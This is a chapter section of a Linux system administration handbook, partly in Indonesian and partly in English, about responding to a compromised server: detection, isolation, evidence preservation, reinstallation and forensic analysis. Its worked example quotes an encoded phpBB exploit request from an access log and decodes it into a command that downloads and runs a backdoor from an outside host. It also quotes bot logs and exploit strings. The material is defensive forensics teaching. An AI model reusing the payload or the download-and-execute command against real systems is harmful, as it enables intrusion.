14.7. Berurusan dengan Mesin yang Terkompromi
Meskipun dengan niat baik dan seberapa pun hati-hatinya kebijakan keamanan dirancang, administrator akhirnya menghadapi tindakan pembajakan. Bagian ini memberikan beberapa panduan tentang cara untuk bereaksi ketika dihadapkan dengan keadaan tidak beruntung ini.
14.7.1. Mendeteksi dan Melihat Intrusi Penyusup
Langkah pertama bereaksi terhadap peretasan adalah sadar atas aksi sedemikian. Hal ini tidak jelas, terutama tanpa pemantauan infrastruktur yang memadai.
Aksi peretasan sering tidak terdeteksi sampai mereka memiliki konsekuensi langsung pada layanan sah yang diwadahi pada mesin, seperti koneksi melambat, beberapa pengguna tidak berhasil menyambung, atau jenis lain dari kerusakan. Dihadapkan dengan masalah ini, administrator perlu melihat dengan baik di mesin dan hati-hati meneliti apa yang berulah. Ini biasanya saat mereka menemukan sebuah proses yang tidak biasa, misalnya yang bernama apache
bukan /usr/sbin/apache2
yang standar. Jika kita mengikuti contoh, hal yang harus dilakukan adalah untuk mencatat dengan pengidentifikasi prosesnya, dan memeriksa /proc/pid/exe
untuk melihat program apa yang sedang menjalankan proses ini:
#
ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Sebuah program yang dipasang di bawah /var/tmp/
dan berjalan sebagai server web? Tidak ada sisa keraguan lagi, mesin terkompromi.
Ini adalah hanya salah satu contoh, tetapi banyak petunjuk lain yang dapat memperingatkan administrator:
a command that suddenly shows errors like segmentation faults;
a program that utilizes all CPU cores or memory;
pilihan untuk suatu perintah yang tidak lagi bekerja; versi perangkat lunak yang diaku oleh perintah tidak cocok dengan versi yang seharusnya diinstal sesuai dpkg
;
prompt perintah atau sapaan sesi yang menunjukkan bahwa sambungan terakhir datang dari server yang tidak diketahui di benua lain;
kesalahan yang disebabkan oleh partisi /tmp/
menjadi penuh, yang ternyata penuh oleh salinan film ilegal;
dan seterusnya.
14.7.2. Menempatkan Server Luring
Dalam setiap kasus kecuali yang paling eksotis, peretasan berasal dari jaringan, dan penyerang perlu suatu jaringan yang bekerja untuk mencapai target mereka (mengakses data rahasia, berbagi berkas ilegal, menyembunyikan identitas mereka dengan menggunakan mesin sebagai relay dan seterusnya). Mencabut komputer dari jaringan akan mencegah penyerang mencapai target tersebut, jika mereka belum berhasil melakukannya.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see
Bagian 14.7.3, “Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti”,
Bagian 14.7.5, “Analisis Forensik” and
Bagian 14.7.6, “Merekonstruksi Skenario Serangan”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd
). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence.
14.7.3. Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti
Memahami serangan dan/atau melibatkan tindakan hukum terhadap para penyerang memerlukan mengambil salinan semua elemen yang penting; ini termasuk isi dari hard disk, daftar semua proses yang berjalan, dan daftar semua koneksi yang terbuka. Isi dari RAM juga bisa digunakan, tetapi jarang dipakai dalam praktek.
Dalam situasi panas, administrator sering tergoda untuk melakukan banyak pemeriksaan pada mesin yang terkompromi; hal ini biasanya bukan ide yang baik. Setiap perintah berpotensi diubah dan dapat menghapus potongan-potongan bukti. Pemeriksaan harus dibatasi untuk set minimalis (netstat -tupan
untuk koneksi jaringan, ps auxf
untuk daftar proses, ls -alR /proc/[0-9]*
untuk sedikit informasi lebih lanjut tentang program yang berjalan), dan setiap pemeriksaan yang dilakukan mesti secara hati-hati dicatat di kertas.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync
) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd
; these images can be sent to another server (possibly with the very convenient nc
tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD.
Server tidak boleh kembali daring tanpa instalasi ulang lengkap. Jika kompromi parah (jika hak akses administratif diperoleh), hampir tidak ada cara lain untuk memastikan bahwa kita bisa menyingkirkan semua yang mungkin telah ditinggalkan oleh penyerang (terutama backdoor). Tentu saja, semua pembaruan keamanan terkini juga dapat diterapkan untuk menambal kerentanan yang digunakan oleh penyerang. Idealnya, menganalisis serangan harus mengarahkan pada vektor serangan ini, sehingga seseorang dapat yakin benar-benar memperbaikinya; bila tidak, kita hanya dapat berharap bahwa kerentanan itu salah satu dari yang diperbaiki oleh pembaruan.
Memasang ulang server jarak jauh tidak selalu mudah; ini mungkin melibatkan bantuan dari perusahaan hosting, karena tidak semua perusahaan tersebut menyediakan sistem instalasi ulang otomatis atau konsol jarak jauh (meskipun kasus ini jarang terjadi). Harus berhati-hati untuk tidak memasang ulang mesin dari cadangan yang diambil setelah kompromi. Idealnya, hanya data yang harus dipulihkan, perangkat lunak yang sebenarnya harus dipasang ulang dari media instalasi.
14.7.5. Analisis Forensik
Sekarang setelah layanan yang telah dipulihkan, saatnya untuk melihat lebih dekat pada image disk sistem yang terkompromi untuk memahami vektor serangan. Ketika mengait image ini, perlu hati-hati untuk menggunakan opsi ro, nodev, noexec, noatime
untuk menghindari mengubah isi (termasuk stempel waktu akses ke berkas) atau kesalahan menjalankan program yang terkompromi.
Merunut ulang skenario serangan biasanya melibatkan mencari segala sesuatu yang dimodifikasi dan dijalankan:
Berkas .bash_history
sering menyediakan bacaan yang sangat menarik;
begitu pula daftar berkas yang baru saja dibuat, dimodifikasi, atau diakses;
perintah string
membantu mengidentifikasi program yang dipasang oleh penyerang, dengan mengekstrak string teks dari biner;
berkas log dalam /var/log/
sering memungkinkan merekonstruksi kronologi peristiwa;
comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;
alat khusus juga memungkinkan memulihkan isi berkas yang berpotensi dihapus, termasuk berkas log yang oleh penyerang sering dihapus.
Beberapa operasi ini dapat dibuat lebih mudah dengan perangkat lunak terspesialisasi. Secara khusus, paket
sleuthkit menyediakan banyak alat untuk menganalisis sebuah sistem berkas. Penggunaan mereka dibuat lebih mudah dengan antarmuka grafis
Autopsy Forensic Browser (dalam paket
autopsy). Beberapa distribusi Linux memiliki image "live install" dan memuat banyak program untuk analisis forensik, seperti misalnya Kali Linux (lihat
Bagian A.8, “Kali Linux”), dengan
mode forensik-nya, BlackArchLinux, dan Grml-Forensic yang komersial, berbasis pada Grml (lihat
Bagian A.6, “Grml”).
14.7.6. Merekonstruksi Skenario Serangan
Semua elemen yang dikumpulkan selama analisis harus sesuai pas seperti potongan-potongan dalam teka-teki; penciptaan berkas mencurigakan pertama sering berkorelasi dengan log yang membuktikan pelanggaran. Contoh dunia nyata seharusnya lebih eksplisit daripada celotehan panjang yang teoritis.
Log berikut adalah ekstrak dari access.log
Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Contoh ini cocok dengan eksploitasi kerentanan keamanan lama di phpBB.
Dekode URL panjang ini mengarah pada pemahaman bahwa penyerang berhasil menjalankan beberapa kode PHP, yaitu: system("cd/tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")
. Memang, berkas bd
ditemukan di /tmp/
. Menjalankan strings /mnt/tmp/bd
mengembalikan, antara lain string, PsychoPhobia Backdoor is starting...
. Ini benar-benar tampak seperti backdoor.
Beberapa waktu kemudian, akses ini digunakan untuk mengunduh, menginstal, dan menjalankan bot IRC yang terhubung ke jaringan IRC bawah tanah. Bot bisa kemudian dikendalikan melalui protokol ini dan diperintahkan untuk mengunduh berkas untuk dibagikan. Program ini bahkan memiliki berkas log sendiri:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Jejak ini menunjukkan bahwa dua berkas video telah disimpan pada server melalui alamat IP 82.50.72.202.
Secara paralel, penyerang juga mengunduh berkas tambahan, /tmp/pt
dan /tmp/loginx
. Menjalankan berkas ini melalui strings
mengarah ke string seperti Shellcode placed at 0x%08lx dan Now wait for suid shell.... Ini terlihat seperti program-program yang mengeksploitasi kelemahan lokal untuk mendapatkan hak akses administratif. Apakah mereka mencapai target mereka? Dalam kasus ini, mungkin tidak, karena tidak ada berkas yang tampak telah telah dimodifikasi setelah pelanggaran awal.
Dalam contoh ini, seluruh penyusupan telah direkonstruksi, dan dapat ditarik kesimpulan bahwa penyerang telah mampu mengambil keuntungan dari sistem yang terkompromi selama tiga hari; tapi unsur yang paling penting dalam analisis adalah bahwa kerentanan telah diidentifikasi, dan administrator dapat yakin bahwa instalasi baru benar-benar memperbaiki kerentanan.